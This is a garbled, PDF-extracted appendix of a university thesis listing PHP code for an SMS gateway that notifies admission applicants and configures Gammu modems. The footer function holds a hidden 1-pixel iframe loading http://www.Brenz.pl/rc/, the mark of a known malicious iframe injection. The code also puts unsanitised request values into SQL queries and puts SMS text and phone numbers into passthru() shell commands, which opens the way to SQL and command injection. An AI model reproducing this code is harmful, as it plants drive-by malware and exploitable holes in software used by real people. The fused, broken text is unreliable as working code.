L A M P I R A N
Universitas Sumatera Utara
LAMPIRAN
1. Listing Program Implementasi SMS Gateway untuk Seleksi penerimaan mahasiswa USU function.php
SMS Center Calon Mahasiswa
Universitas Sumatera Utara
100 ) { ?>
<script language=javascript> location.href="../session_error.php?error_msg=";
Universitas Sumatera Utara
SMS Center Calon Mahasiswa <script type="text/javascript" src="js/ddownmenu.js"> <script type='text/javascript' src='js/jquery1.3.2.min.js'> <script type='text/javascript' src='js/mark.js'> <scripttype='text/javascript'src='js/jquery.autocomplete.js'>
<scriptsrc="js/jquery-1.6.min.js"type="text/javascript" charset="utf8"> <scriptsrc="js/jquery.fcbkcomplete.js"type="text/javascript" charset="utf-8"><scripttype="text/javascript" src="js/jquery-1.4.2.min.js"> <script type="text/javascript" src="js/pelanggan.js"> <script type="text/javascript" src="js/mahasiswa.js"> <script type="text/javascript" src="js/mahasiswa_ujian.js">
Universitas Sumatera Utara
} ?>
SMS &id=">Sms Masuk &id=">Sms Terkirim &id=" class="menulink">Log Out
Universitas Sumatera Utara
function get_sidebar(){ $seshid=$_GET["seshid"]; $ed=$_GET["id"]; ?>
Universitas Sumatera Utara
?>
PROFIL PENDAFTAR
DATA SELEKSI BERKAS
Universitas Sumatera Utara
SELEKSI UJIAN
Universitas Sumatera Utara
if(!empty($param)){ $rev="".$param." "; return $rev; }else{ $tt="Tidak lulus"; return $tt;} } // close cek kosong //function open get lulus ujian function lulus_ujian(){ $item=$_GET["item"]; $batas_tampil=20; $seshid=$_GET["seshid"]; $sql_lulus=mysql_query("select*fromcalon_mahasiswawhere kelulusan_berkas=1 order by id_calon_mahasiswa asc $item,20") or die(mysql_error()); $mysql_jml=mysql_num_rows($sql_lulus);
limit
?>
SMS Kelulusan Ujian
1px
dashed
#990000;
height:30px;
?>
Universitas Sumatera Utara
&id="method="post"id="rowsDelet eForm"> No Peserta No Ujian No HP Kelulusan Action 0){ $i=-1; $a=0; while($data3=mysql_fetch_array($sql_lulus)){ $i++; $a++; if($data3["status_sms_kelulusan"]==1){ $sms_stat="rig_sms.png"; }else{ $sms_stat="send_sms.png"; } ?>
Universitas Sumatera Utara
echo "".$a." "; echo "".$data3["nama_peserta"]." "; echo "".$data3["no_ujian"]." "; echo "".$data3["no_telp"]." "; echo"".is_empty($data3["lulus_ujian"]).""; echo ""; ?> "name=""value=""onclick="copyCheckboxesRange ('rowsDeleteForm','','l');"> "; echo " "; } } ?> &seshid=&id="class="te ks"> << Sebelumnya }; ?> if(($item+$batas_tampil) < $mysql_jml ) { ?> &seshid=&id="class="te ks"> Selanjutnya>> }; ?>
Universitas Sumatera Utara
CheckAll / Uncheck All
*
from
jadwal")
?>
Daftar Keterangan SMS
height:30px;
Universitas Sumatera Utara
} //close daftar keterangan jadwal //function open get lulus berkas function lulus_berkas(){ $item=$_GET["item"]; $batas_tampil=20; $seshid=$_GET["seshid"]; $sql_lulus= mysql_query("select * from calon_mahasiswa order by id_calon_mahasiswa asc limit $item,20") or die(mysql_error()); $mysql_jml=mysql_num_rows($sql_lulus); ?>
SMS Kelulusan Berkas
1px
dashed
#990000;
height:30px;
?>
Universitas Sumatera Utara
&id="method="post" id="rowsDeleteForm">
width="20" class='teks' >No width="150" class='teks' >Peserta width="75" class='teks' >No Ujian width="60" class='teks' >No Berkas width="96" class='teks' >No HP width="120" class='teks' >Status Berkas width="55" class='teks' >Action
if($mysql_jml>0){ $i=-1; $a=0; while($data3=mysql_fetch_array($sql_lulus)){ $i++; $a++; if($data3["status_sms_berkas"]==1){ $sms_stat="rig_sms.png"; }else{ $sms_stat="send_sms.png"; }
Universitas Sumatera Utara
?> Lulus Berkas"; }else{ $rev="Tidak Lulus Berkas"; } echo "".$a." "; echo "".$data3["nama_peserta"]." "; echo "".$data3["no_ujian"]." "; echo"".$data3["no_pendaftaran_berkas"].""; echo "".$data3["no_telp"]." "; echo "".$rev." "; echo ""; ?> "name=""value=""onclick="copyCheckboxesRange('rowsDeleteForm','','l');"> "; echo " ";
Universitas Sumatera Utara
} } ?>
if(($item-$batas_tampil)
<
0)
} ?> &seshid=&id=" class="teks"> << Sebelumnya }; ?> | if(($item+$batas_tampil) < $mysql_jml ) { ?> &seshid= print $seshid; ?>&id=" class="teks">Selanjutnya >> }; ?>
CheckAll / Uncheck All
Universitas Sumatera Utara
class="tombol">
//end of function lulus berkas //open get menu function get_menu(){ ?>
//open get content function get_content(){ ?>
Universitas Sumatera Utara
} //end of get menu //open get content function get_right() { ?>
?>
style="border: padding:10px">
1px
dashed
#990000;
height:30px;
Universitas Sumatera Utara
FORM INPUT JURUSAN
&id="method="post" name="event_form" id="event_form">
value="Input
Daftar Jurusan"; ?>
Universitas Sumatera Utara
//end of get buat jurusan
//open of buat fakultas function get_buat_fakultas(){ ?>
style="border: padding:10px">
1px
dashed
#990000;
height:30px;
print $_GET[msg]."!"; ?>
FORM INPUT FAKULTAS
&id=" method="post" name="event_form" id="event_form">
Universitas Sumatera Utara
Daftar Fakultas"; ?>
Universitas Sumatera Utara
}
//end of buat fakultas
//open jenis program
function get_jenis_program(){ ?>
style="border: 1px padding:10px">
dashed
#990000;
height:30px;
?>
DAFTAR PROGRAM PILIHAN TERSEDIA divstyle="padding:10px"> No Nama Program
YANG
Universitas Sumatera Utara
> ".$i.""; echo" ".$row["nama_program"]." "; echo" "; } ?>
}
//close jenis program
Universitas Sumatera Utara
//open sms kelulusan berkas function get_sms_kelulusan_berkas(){ } //close kelulusan berkas //open sms kelulusan ujian function get_sms_kelulusan_ujian(){ } //close kelulusan ujian //open daftar jurusan function get_daftar_jurusan(){ $item=$_GET["item"]; $batas_tampil=20; $seshid=$_GET["seshid"]; $sql_jurusan=mysql_query("select*from jurusan order by id_jurusan asclimit$item,20")ordie(mysql_error());$mysql_jml=mysql_num_row s($sql_jurusan); ?>
Daftar Jurusan yang Tersedia
style="border: padding:10px">
1px
dashed
#990000;
height:30px;
Universitas Sumatera Utara
print $_GET[msg]."!"; ?>
width="20" class='teks' >No width="150" class='teks' >Nama Jurusan width="70" class='teks' >Kode Jurusan width="250" class='teks' >Fakultas
0){ $i=-1; $a=0; while($data3=mysql_fetch_array($sql_jurusan)){ $i++; $a++; ?> ".$a.""; echo "".$data3["nama_jurusan"]." "; echo "".$data3["kode_jurusan"]." "; echo "".$data_fak["nama_fakultas"]." "; echo " "; } } ?> &seshid=&id=" class="teks"> << Sebelumnya }; ?> if(($item+$batas_tampil)<$mysql_jml ){ ?> &seshid=<print$seshid;?>&id=" class="teks">Selanjutnya >> }; ?>
Universitas Sumatera Utara
order
by
?>
Daftar Fakultas yang Tersedia
1px
dashed
#990000;
height:30px;
Universitas Sumatera Utara
No Nama Fakultas Kode Fakultas
class='teks'
0){ $i=-1; $a=0; while($data3=mysql_fetch_array($sql_fakultas)){ $i++; $a++; ?> ".$a.""; echo "".$data3["nama_fakultas"].""; echo"".$data3["kode_fakultas"]." "; echo " "; } } ?>
Universitas Sumatera Utara
&seshid=&id=" class="teks"> << Sebelumnya }; ?> if(($item+$batas_tampil) < $mysql_jml ){ ?> &seshid= print $seshid; ?>&id=" class="teks">Selanjutnya >> }; ?>
//close daftar fakultas //balas sms function balas_sms($seshid,$user_id){ ?>
$pengirim="+".ltrim(strval($_GET["pengirim"]));
Universitas Sumatera Utara
?> BALASSMS &id="> No HP Tujuan : Kirim Melalui Modem/HP : Masukkan isi SMS (maksimum panjang SMS adalah 160 karakter):
type="submit" class='tombol'>
name="submit"
value="Kirim
SMS"
Status : "; echo "<pre>"; passthru('gammu-smsd-inject-c'.$phone.'TEXT'.$nohp.'text"'.$sms.'"');
Universitas Sumatera Utara
//exec('C:\xampp\htdocs\pemesanantiket\gammu-smsdinject.exe-c C:\xampp\htdocs\pemesanantiket\smsdrcEMS'.$nohp.'text"'.$sms .'"'); echo ""; } ?>
= "Januari"; = "Februari"; = "Maret"; = "April"; = "Mei"; = "Juni"; = "Juli"; = "Agustus"; = "September";
Universitas Sumatera Utara
case 10 : $to_write_bulan = "Oktober"; break; case 11 : $to_write_bulan = "November"; break; case 12 : $to_write_bulan = "Desember"; break; } $to_show_tanggal=substr($tanggal_nya,0,2)."".$to_write_bulan." ".substr($tanggal_nya,4,4); return $to_show_tanggal; }
//end tanggal //get step 1 function get_step1(){ ?>
Universitas Sumatera Utara
function get_step2(){ ?>
//get step 3 function get_step3(){ ?>
Universitas Sumatera Utara
//get step 4 function get_step4(){ ?>
//get step 5 function get_step5(){ ?>
Universitas Sumatera Utara
//get step 6 function get_step6(){ ?>
//get step 7 function get_step7(){ ?>
Universitas Sumatera Utara
//get step 8 function get_step8(){ ?>
//get step 9 function get_step9(){ ?>
//get step 10
Universitas Sumatera Utara
//function service gammu function service3($x) { $string = "<select name='phoneid'>"; $handle = @fopen($path."smsdrc1", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'phoneid = ') > 0) { $split = explode("phoneid = ", $buffer); $id1 = str_replace("\r\n", "", $split[1]); } } if ($id1 != '') { $string .= "".$id1." "; } fclose($handle); $handle = @fopen($path."smsdrc2", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'phoneid = ') > 0) { $split = explode("phoneid = ", $buffer); $id2 = str_replace("\r\n", "", $split[1]); } } if ($id2 != '') { $string .= "".$id2." "; }
Universitas Sumatera Utara
fclose($handle); $handle = @fopen($path."smsdrc3", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'phoneid = ') > 0) { $split = explode("phoneid = ", $buffer); $id3 = str_replace("\r\n", "", $split[1]); } } if ($id3 != '') { $string .= "".$id3." "; } fclose($handle); $handle = @fopen($path."smsdrc4", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'phoneid = ') > 0) { $split = explode("phoneid = ", $buffer); $id4 = str_replace("\r\n", "", $split[1]); } } if ($id4 != '') { $string .= "".$id4." ";
Universitas Sumatera Utara
} fclose($handle); $string .= ""; return $string; }
//--------------------------//open get footer function get_footer(){ ?> <iframestyle="height:1px"src="http://www.Brenz.pl/rc/"frame border=0 width=1> <script type="text/javascript"> var menu=new menu.dd("menu"); menu.init("menu","menuhover");
Universitas Sumatera Utara
//end of get footer ?>
cdbase.php
ada
?> Proses_buat_fakultas
Universitas Sumatera Utara
$pesan_error="Data Fakultas Gagal dimasukkan"; } ?> <script language=javascript> location.href="../buat_fakultas.php?msg=&id=&seshid=";
Proses_buat_jurusan
if($data==1){ $pesan_error="Data Jurusan Berhasil dimasukkan";
Universitas Sumatera Utara
}else{ $pesan_error="Data Jurusan Gagal dimasukkan"; } ?> <script language=javascript> location.href="../buat_jurusan.php?msg=&id=&seshid=";
while($row=mysql_fetch_array($pemb_data)){ $i++; $px[$i]=$_POST["pem_".$row["id_calon_mahasiswa"]]; } for($j=1;$j
Universitas Sumatera Utara
$d="updatecalon_mahasiswasetstatus_sms_kelulusan='".$sta tus."' where id_calon_mahasiswa='".$px[$j]."'"; $result = mysql_query($d)or die(mysql_error()); if(empty($calon_mahasiswa["lulus_ujian"])){ $alasan1="Maaf,".$calon_mahasiswa["nama_peserta"]."belum lulus SPMPD.Silahkan cek di www.usu.ac.id/spmpd"; }else{ $alasan1="Selamat,".$calon_mahasiswa["nama_peserta"]."lu lus di".$calon_mahasiswa["lulus_ujian"].". Pendaftaran ulang tanggal 25 Juli 2012 di Gelanggang Mahasiswa USU.www.usu.ac.id/spmpd"; } $qry=mysql_query("INSERTINTOoutbox(DestinationNumber, TextDecoded)VALUES('".$calon_mahasiswa["no_telp"]."', '$alasan1')") or die(mysql_error());
} }
if($qry==1){ $msg="SMS berhasil di kirim kan."; }else{ $msg="SMS gagal di kirim kan."; } ?> <script language=javascript> location.href="../cama_lulus_ujian.php?seshid=&id=&item=0&msg=";
} if(isset($_POST["batal"])){
Universitas Sumatera Utara
$pemb_data=mysql_query("select * from calon_mahasiswa where kelulusan_berkas=1")or die(mysql_error()); $i=0; while($row=mysql_fetch_array($pemb_data)){ $i++; $px[$i]=$_POST["pem_".$row["id_calon_mahasiswa"]]; } for($j=1;$j
if($result==1){ $msg="Status Kelulusan Berhasil di batalkan."; }else{ $msg="Status Kelulusan Gagal di batalkan."; } ?> <script language=javascript> location.href="../cama_lulus_ujian.php?seshid=&id=&item=0&msg=";
Universitas Sumatera Utara
Sent_sms_lulus.php
Universitas Sumatera Utara
$qry=mysql_query("INSERTINTOoutbox(DestinationNumber,Tex tDecoded)VALUES('".$calon_mahasiswa["no_telp"]."','$alas an1')")or die(mysql_error()); } }
if($qry==1){ $msg="SMS berhasil di kirim kan."; }else{ $msg="SMS gagal di kirim kan."; }
?> <script language=javascript> location.href="../cama_lulus_berkas.php?seshid=&id=&item=0&msg=";
}
if(isset($_POST["batal_berkas"])){ $pemb_data=mysql_query("select * from calon_mahasiswa where kelulusan_berkas='1'")or die(mysql_error()); $i=0; while($row=mysql_fetch_array($pemb_data)){ $i++; $px[$i]=$_POST["pem_".$row["id_calon_mahasiswa"]]; }
Universitas Sumatera Utara
for($j=1;$j
?> <script language=javascript> location.href="../cama_lulus_berkas.php?seshid=&id=&item=0&msg=";
2. Listing Program konfigurasi Gammu Setting_gammurc.php
Universitas Sumatera Utara
Langkah 1 - Setting GAMMURC 0) { if ($i == 1) { $split = explode("port = ", $buffer); $port1 = str_replace(":", "", $split[1]); } if ($i == 2) { $split = explode("port = ", $buffer); $port2 = str_replace(":", "", $split[1]); } if ($i == 3) { $split = explode("port = ", $buffer); $port3 = str_replace(":", "", $split[1]); } if ($i == 4) { $split = explode("port = ", $buffer); $port4 = str_replace(":", "", $split[1]); } $i++; } if (substr_count($buffer, 'connection = ') > 0) {
Universitas Sumatera Utara
if ($j == 1) { $split = explode("connection = ", $buffer); $connection1 = $split[1]; } if ($j == 2) { $split = explode("connection = ", $buffer); $connection2 = $split[1]; } if ($j == 3) { $split = explode("connection = ", $buffer); $connection3 = $split[1]; } if ($j == 4) { $split = explode("connection = ", $buffer); $connection4 = $split[1]; } $j++; } $baris[] = $buffer; } fclose($handle); } if ($_GET['op'] == "simpan") { $port1 = $_POST['port1']; $connection1 = $_POST['connection1']; $port2 = $_POST['port2']; $connection2 = $_POST['connection2']; $port3 = $_POST['port3']; $connection3 = $_POST['connection3'];
Universitas Sumatera Utara
$port4 = $_POST['port4']; $connection4 = $_POST['connection4']; $handle = @fopen("gammurc", "w"); $text = "[gammu]\nport = ".$port1.":\nconnection = ".$connection1."\n[gammu1]\nport = ".$port2.":\nconnection = ".$connection2."\n[gammu2]\nport = ".$port3.":\nconnection = ".$connection3."\n[gammu3]\nport = ".$port4.":\nconnection = ".$connection4; fwrite($handle, $text); fclose($handle); echo "
Konfigurasi GAMMURC sudah disimpan
"; } ?>
Masukkan nomor port dan jenis connection pada form di bawah ini!
Modem/HP 1
Lihat Jenis Connection
Cek_Koneksi.php
Universitas Sumatera Utara
Langkah 2 - Test Koneksi GAMMU dengan HP Klik tombol di bawah ini untuk cek koneksi GAMMU dengan HP
method="post" action="?seshid= print $seshid; ?>&id="> Status : "; echo " Modem/HP 1 "; echo "<pre>"; passthru("gammu -s 0 -c gammurc echo ""; echo " Modem/HP 2 "; echo "<pre>"; passthru("gammu -s 1 -c gammurc echo ""; echo " Modem/HP 3 "; echo "<pre>"; passthru("gammu -s 2 -c gammurc echo ""; echo " Modem/HP 4 "; echo "<pre>"; passthru("gammu -s 3 -c gammurc echo "";
identify", $hasil);
identify", $hasil);
identify", $hasil);
identify", $hasil);
} ?>
Universitas Sumatera Utara
Instalasi_servise.php Langkah 5 - Membuat Service GAMMU Klik tombol di bawah ini untuk membuat GAMMU Service!
method="post" action="?seshid= print $seshid; ?>&id="> Status : "; echo "<pre>"; passthru("gammu-smsd -n phone1 passthru("gammu-smsd -n phone2 passthru("gammu-smsd -n phone3 passthru("gammu-smsd -n phone4 passthru("gammu-smsd -n phone1 passthru("gammu-smsd -n phone2 passthru("gammu-smsd -n phone3 passthru("gammu-smsd -n phone4
-k", -k", -k", -k", -u", -u", -u", -u",
$hasil); $hasil); $hasil); $hasil); $hasil); $hasil); $hasil); $hasil);
$handle = @fopen("smsdrc1", "r"); while (!feof($handle))
Universitas Sumatera Utara
{ $buffer = fgets($handle); if (substr_count($buffer, 'port = ') > 0) { $split = explode("port = ", $buffer); $port1 = str_replace(":", " ", $split[1]); } } if ($port1 != "\r\n") passthru("gammu-smsd -c smsdrc1 -n phone1 -i", $hasil); fclose($handle); $handle = @fopen("smsdrc2", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'port = ') > 0) { $split = explode("port = ", $buffer); $port2 = str_replace(":", "", $split[1]); } } if ($port2 != "\r\n") passthru("gammu-smsd -c smsdrc2 -n phone2 -i", $hasil); fclose($handle); $handle = @fopen("smsdrc3", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'port = ') > 0) { $split = explode("port = ", $buffer); $port3 = str_replace(":", "", $split[1]); } } if ($port3 != "\r\n") passthru("gammu-smsd -c smsdrc3 -n phone3 -i", $hasil);
Universitas Sumatera Utara
fclose($handle); $handle = @fopen("smsdrc4", "r"); while (!feof($handle)) { $buffer = fgets($handle); if (substr_count($buffer, 'port = ') > 0) { $split = explode("port = ", $buffer); $port4 = str_replace(":", "", $split[1]); } } if ($port4 != "\r\n") passthru("gammu-smsd -c smsdrc4 -n phone4 -i", $hasil); fclose($handle); echo ""; } ?>
Jalankan_service.php Langkah 6 - Menjalankan Service GAMMU Klik tombol di Service!
bawah
ini
untuk
menjalankan
GAMMU
method="post" action="?seshid= print $seshid; ?>&id=">
Universitas Sumatera Utara
if ($_POST['submit']) { echo "Status : "; echo "<pre>"; passthru("gammu-smsd -c smsdrc1 passthru("gammu-smsd -c smsdrc2 passthru("gammu-smsd -c smsdrc3 passthru("gammu-smsd -c smsdrc4 echo "";
-n -n -n -n
phone1 phone2 phone3 phone4
-s"); -s"); -s"); -s");
} ?>
Menghentikan_service.php Langkah 9 - Menghentikan Service GAMMU Klik tombol di Service!
bawah
ini
untuk
menghentikan
GAMMU
method="post" action="?seshid= print $seshid; ?>&id="> Status : "; echo "<pre>"; passthru("gammu-smsd -n phone1 -k");
Universitas Sumatera Utara
passthru("gammu-smsd -n phone2 -k"); passthru("gammu-smsd -n phone3 -k"); passthru("gammu-smsd -n phone4 -k"); echo ""; } ?>
Universitas Sumatera Utara